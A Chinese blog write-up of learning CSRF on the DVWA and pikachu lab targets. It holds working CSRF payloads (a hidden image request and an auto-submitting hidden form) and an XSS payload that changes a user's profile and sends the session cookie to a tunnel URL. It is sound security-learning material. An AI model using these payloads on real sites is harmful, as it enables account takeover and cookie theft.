☰
学习渗透测试——CSRF
2026/9/30 4:38:15 网站建设 项目流程

CSRF

利用受害者浏览器身份,在受害者权限下向目标网站发起请求

原理:受害者已登陆A网站,浏览器保存了A网站Cookie

攻击者构造恶意页面B,诱导受害者点开。页面B自动发起对A网站的请求(比如改密码、发帖子、转账)。ps:请求是受害者浏览器发出的,带上受害者的Cookie,A网站认为是受害者本人操作

总结:骗浏览器干活,偷用户身份打网站

CSRF和XSS的区别是什么

XSS利用的是用户对网站的信任(网站执行了用户的恶意代码)

而CSRF利用的是网站对用户浏览器的信任(网站以为请求时用户自己发的,实际上是攻击者伪造的)

而他们两个经常可以组合使用:XSS尝试存入数据库,其他用户访问网页时触发XSS,XSS跳转到攻击者的恶意网站,如果用户是管理员,还可以执行敏感操作

XSS与CSRF(GET型)组合

(DVWA难度为low)

打开DVWA的csrf页面,随便输密码

请求方式为GET,尝试跟XSS组合操作

构造一下payload

<img src="http://192.168.1.132/DVWA/vulnerabilities/csrf/?password_new=hacked123%26password_conf=hacked123%26Change=Change" width="0" height="0">

%26是&的URL编码

在Edge浏览器里注入试试

发现一直没改密码

F12看一下网络,发现我的请求结果是302

分析半天发现是127.0.0.1的问题,我这里访问的DVWA是127.0.0.1,而构造的payload里是192.168.1.132,虽然都是指向我这台机子,但是是两个独立的网站(触发不了同源策略,我的请求不会带上用户Cookie)

改成192.168.1.132后确实发出去了,但是重新登录实测发现密码并没有改变

难道是payload出问题了?

后来才知道问题:%26($)并没有做到分隔参数

解析payload:<img src="http://192.168.1.132/DVWA/vulnerabilities/csrf/?password_new=hacked123%26password_conf=hacked123%26Change=Change" width="0" height="0">

后端服务器在解析参数时,会先对整个URL进行URL解码。解码后后端看到的是:password_new = hacked123&password_conf=hacked123&Change=Change,

hacked123&password_conf=hacked123&Change=Change这么大一串全被当成了password_new的值

修正方案有两个:

方案一:

在HTML标签里,要分隔参数,必须用&代替&。浏览器在发送请求时,会将&转成真正的&给服务器

<img src="http://192.168.1.132/DVWA/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change" width="0" height="0">

方案二:

<script>里用fetch(),用JS里的fetch是,&不需要被转义成&,可以直接写。为避免跨域问题,要加上credentials: 'include'。

<script>

fetch('http://192.168.1.132/DVWA/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change', {credentials: 'include'});

</script>

这里我选择方案一,方案二的<script>碰上稍微严格的WAF就炸了

登录抓包能看到密码变成了“hacked123”并且成功重定向到index.php,说明已经被我入侵改了密码

XSS+CSRF组合学到了

但是这个例子只是GET请求的CSRF

我还得搞定POST请求的CSRF。(由于DVWA没有POST型CSRF,我需要去pikachu进行学习)

CSRF(post)

进入pikachu页面,找到CSRF(post)

先按提示随便登录一个用户

点击修改个人信息

来到了可以操作的地方了,但是看到姓名那里没有数据,还有报错,修一下

两串报错

报错的意思是

“D:\phpStudy_64\phpstudy_pro\WWW\pikachu-master\vul\csrf\csrfpost\csrf_post_edit.php”的第70行的'MYSQL_ASSOC'常量报错,php5.x时代这个常量还存在,但在php7和8里这个常量被移除了,新版的名字叫'MYSQLI_ASSOC'

如图找到报错位置

修改常量,然后保存文件

然后刷新页面,页面正常了

接下来开始抓包

开始编写恶意网站

开启kali,在/var/www/html文件夹下创建csrf_post_pikachu.html文件

代码:

<!DOCTYPE html> <html> <head> <title>正在加载...</title> </head> <body onload="document.csrf_form.submit()"> <!-- 地址必须和攻击对象的一致 --> <form name="csrf_form" action="http://192.168.1.132/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="Hacked"> <input type="hidden" name="phonenum" value="110"> <!-- 注意到地址参数名是add而不是address --> <input type="hidden" name="add" value="Hacker_Base"> <input type="hidden" name="email" value="hacked@pikachu.com"> <input type="hidden" name="submit" value="submit"> </form> </body> </html>

解析:

<body οnlοad="document.csrf_form.submit()">:“onload”,页面DOM加载完一户自动执行JS。documen.csrf_form.submit(),找到名字为scrf_form的表单,自动提交表单,不需要用户点按钮

action="http://192.168.1.132/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php":向存在CSRF漏洞的修改信息接口发起请求

type=”hidden”:为了让输入框隐藏起来不被用户发现

kali终端中开启apache服务

靶机已登录pikachu的浏览器访问恶意网页地址

http://192.168.1.160/csrf_post_pikachu.html

检查结果发现并没有成功修改信息

F12查看访问恶意网站的请求,没找到POST的请求发送。

很是苦恼。

找了半天,发现这是因为我这通操作最后是160对132的跨域请求,浏览器在底层发现是跨域POST请求时,被SameSite=Lax机制拦截,直接就掐断了。所以F12里看到恶意网站的POST请求。

还是同源策略这个问题(果然CSRF还是和XSS组合使用比较好)

接下来把恶意网站放在靶机本地试试

浏览器访问恶意网站

http://192.168.1.132/pikachu-master/csrf_post_pikachu.html

结果发现还是没有修改成功

F12一看,没有POST请求发出,完蛋又出啥问题了

后面反反复复修改恶意网站代码还是结果不对。

然后我F12,清空浏览器缓存(让他及时跟随我的文件更新)。再看看控制台,看看是什么出错

控制台看到报错:Uncaught TypeError: document.getElementById(...).submit is not a function

为啥?因为我的表单里有隐藏的输入框

<input type="hidden" name="submit" value="submit">

HTML中,表单内部带有name属性的元素会被直接挂载到表单对象上。因为把这个name设成了“submit”,所以form.submit这个属性被这个隐藏输入框覆盖了。

所以JS里的document.getElementById("csrf_form").submit()以为要调用隐藏输入框,所以报错了。

接下来把submit修改,用原生的requestSubmit方法,避开命名冲突

修改到最后的代码:

<!DOCTYPE html> <html> <head> <title>正在加载...</title> </head> <body> <!-- 地址必须和攻击对象的一致 --> <form id="csrf_form" name="csrf_form" action="http://192.168.1.132/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="Hacked"> <input type="hidden" name="phonenum" value="110"> <!-- 注意到地址参数名是add而不是address --> <input type="hidden" name="add" value="Hacker"> <input type="hidden" name="email" value="hacked@pikachu.com"> <input type="hidden" name="submit" value="submit"> </form> <script> document.getElementById("csrf_form").submit(); </script> </body> </html>

接下来再访问恶意页面,直接一闪而过就跳转到用户页面了,但是在网络里可以抓到它的痕迹,如图

最终可以看到信息修改成功。不容易。。

到这里终于算是把POST型CSRF过了一遍(虽然写的恶意网站是在靶机上。。)

POST型CSRF联动XSS

提前登录好CSRF(post)

然后找到pikachu的XSS,接下来要进行XSS+CSRF(POST型)的组合拳了

看一眼pikachu的XSS后台

怎么又报错

按地址找到配置文件D:\phpStudy_64\phpstudy_pro\WWW\pikachu-master\pkxss\inc\config.inc.php

原来是没设置MySQL密码,这里全是默认的,修改一下

再看一眼XSS后台,我去又报错

原来是根本没安装这里的数据库

这下OK了

构造payload,CSRF加XSS

<script> //在目标站内部,发起 POST 请求偷偷修改资料 fetch('http://192.168.1.132/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'sex=XSS_CSRF&phonenum=110&add=Hacked&email=hacked@pikachu.com&submit=submit' }); //把当前页面同源获取的Cookie发到公网接收平台上 fetch('https://公网地址.trycloudflare.com/?c='+document.cookie); </script>

kali里准备好接收器,开启Cloudflare Tunnel获取临时公网地址

https://combine-summit-concentration-heat.trycloudflare.com

同时启动python

写入时看一眼参数发现请求被截断了,未能完整发送。

、

尝试用burp,不行,因为GET 请求不支持换行符,换行符出现在GET请求的URL参数message=后面时,破坏了HTTP协议的基本格式。。GET请求局限性。

尝试一下再存储型XSS里写入吧。

转到存储型XSS页面(其实注意到pikachu有POST型XSS漏洞,得补补了)

精简一下payload,一行写完

<script>fetch('http://192.168.1.132/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'sex=XSS_CSRF&phonenum=110&add=Hacked&email=hacked@pikachu.com&submit=submit'});fetch('https://combine-summit-concentration-heat.trycloudflare.com/?c='+document.cookie);</script>

结果跟我说内容过长

尝试把长代码放到外部,注入只留下短短一行,绕过前端长度限制

在kali创建xss_payload.js文件,放入长代码

然后启动HTTP服务

构造注入payload

<script src="http://192.168.1.160:8000/xss_payload.js"></script>

写入存储型XSS

可以看到JS文件被访问了,而且用户信息也更改了

但是接收器没接收到

没接收到,是因为公网隧道崩了。。下面报错,这个隧道很不稳定

算了,先用局域网确定XSS+CSRF组合拳着实生效吧,修改JS文件

再次访问存储型XSS页面:

OK,访问了JS文件,并且同步发送了信息到接收器

公网的问题还是VPS好一点啊。。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询